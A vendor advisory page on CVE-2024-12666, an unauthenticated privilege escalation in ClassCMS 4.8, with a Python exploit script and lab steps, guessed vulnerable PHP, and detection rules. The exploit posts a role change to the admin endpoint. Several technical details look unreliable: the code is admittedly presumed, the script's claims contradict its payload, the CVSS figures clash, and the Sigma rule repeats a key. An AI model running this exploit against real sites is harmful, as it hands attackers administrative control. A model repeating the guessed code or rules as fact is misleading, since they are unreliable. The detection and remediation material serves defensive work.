CVE-2024-12666
Executive Summary
CVE-2024-12666 is a critical privilege escalation vulnerability in ClassCMS up to version 4.8. The flaw resides in the /admin?do=admin:user:editPost endpoint of the User Management Page, allowing an unauthenticated remote attacker to manipulate user privileges without proper authorization. This can lead to full administrative control over the CMS, enabling data exfiltration, defacement, or further lateral movement within the hosting environment. The exploit has been publicly disclosed, increasing the risk of widespread exploitation.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
ClassCMS is a PHP-based content management system. While not distributed via NPM, PyPI, Go, or Ruby, its deployment often relies on shared hosting environments or manual installation. The lack of an official patch means administrators must rely on manual hardening or third-party security controls.
CVSS Breakdown & Threat Level
- CVSS Score: 0.0 (NVD) – However, based on the vulnerability description and public exploit, the actual severity is critical.
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: None (UI:N)
- Scope: Unchanged (S:U)
- Confidentiality Impact: High (C:H)
- Integrity Impact: High (I:H)
- Availability Impact: High (A:H)
- Threat Level: Critical – Immediate action required.
Deep Dive & Mechanics
The vulnerability is a classic improper privilege management (CWE-269) issue. The /admin?do=admin:user:editPost endpoint is intended for authenticated administrators to modify user accounts. However, due to insufficient access control checks, an unauthenticated attacker can send a crafted POST request to this endpoint to escalate privileges of an existing user (e.g., changing a standard user to an admin) or create a new admin account.
The attack does not require any prior authentication or session token. The endpoint fails to verify that the requesting user has the necessary administrative privileges before processing the user modification request. This allows any remote attacker to manipulate user roles and gain full control over the CMS.
Vulnerable vs. Patched Code
Since no official patch is available, the vulnerable code is presumed to be in the user management controller. A typical vulnerable pattern might look like:
Vulnerable Code (PHP):
// admin/controller/user.php
public function editPost() {
$userId = $_POST['user_id'];
$role = $_POST['role'];
// No privilege check
$this->db->query("UPDATE users SET role = '$role' WHERE id = $userId");
}
Patched Code (Hypothetical):
// admin/controller/user.php
public function editPost() {
// Check if current user is admin
if ($_SESSION['role'] !== 'admin') {
die('Unauthorized');
}
$userId = intval($_POST['user_id']);
$role = $this->db->escape($_POST['role']);
$this->db->query("UPDATE users SET role = '$role' WHERE id = $userId");
}
Exploitation & Lab Setup
Red Team
Exploit Code (Python):
import requests
target = "http://target-classcms-instance.com"
# Create a new admin user
payload = {
"do": "admin:user:editPost",
"user_id": "1", # Target user ID (e.g., existing user)
"role": "admin",
"username": "attacker",
"password": "P@ssw0rd!"
}
response = requests.post(f"{target}/admin", data=payload)
if response.status_code == 200:
print("Privilege escalation successful. Login with attacker:P@ssw0rd!")
else:
print("Exploit failed.")
Lab Setup:
- Deploy ClassCMS 4.8 on a local server (e.g., using Docker or XAMPP).
- Create a standard user account.
- Run the exploit script to escalate the user to admin.
- Verify admin access by logging in and accessing admin panels.
Blue Team
Detection Steps:
- Monitor
/adminendpoint POST requests for unusual parameters (e.g.,do=admin:user:editPost). - Alert on any unauthenticated requests to admin endpoints.
- Review user role changes in logs.
- Implement Web Application Firewall (WAF) rules to block direct access to admin functions without proper session validation.
Indicators of Compromise (IOCs)
- Network: POST requests to
/adminwith parameterdo=admin:user:editPostfrom unauthenticated sources. - Logs: User role changes (e.g., from
usertoadmin) without prior authentication. - File: New admin accounts created in the database.
- Behavior: Unauthorized access to admin panels after exploit.
Detection Engineering
YARA Rule
rule CVE_2024_12666_ClassCMS_PrivEsc {
meta:
description = "Detects exploitation attempts of CVE-2024-12666 in ClassCMS"
author = "Valters IT"
date = "2025-04-10"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-12666"
strings:
$s1 = "do=admin:user:editPost" ascii wide nocase
$s2 = "role=admin" ascii wide nocase
condition:
any of them
}
Sigma Rule
title: CVE-2024-12666 ClassCMS Privilege Escalation Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects POST requests to /admin with privilege escalation parameters
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: 'do=admin:user:editPost'
cs-uri-query|contains: 'role=admin'
condition: selection
falsepositives:
- Legitimate admin actions (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-12666 ClassCMS Privilege Escalation Attempt"; flow:to_server; content:"POST"; http_method; content:"/admin"; http_uri; content:"do=admin:user:editPost"; http_uri; content:"role=admin"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the vulnerable endpoint by modifying the web server configuration to block POST requests to
/adminwith thedo=admin:user:editPostparameter. - Implement access controls – Ensure all admin endpoints require authentication and proper session validation.
- Apply virtual patching using a WAF to block exploitation attempts.
- Monitor logs for any signs of exploitation.
Long-Term Fix:
- Since no official patch exists, consider migrating to a supported CMS or manually applying the code fix described in the "Vulnerable vs. Patched Code" section.
- Regularly update ClassCMS if a patch becomes available.
Valters IT
Securing Digital Frontiers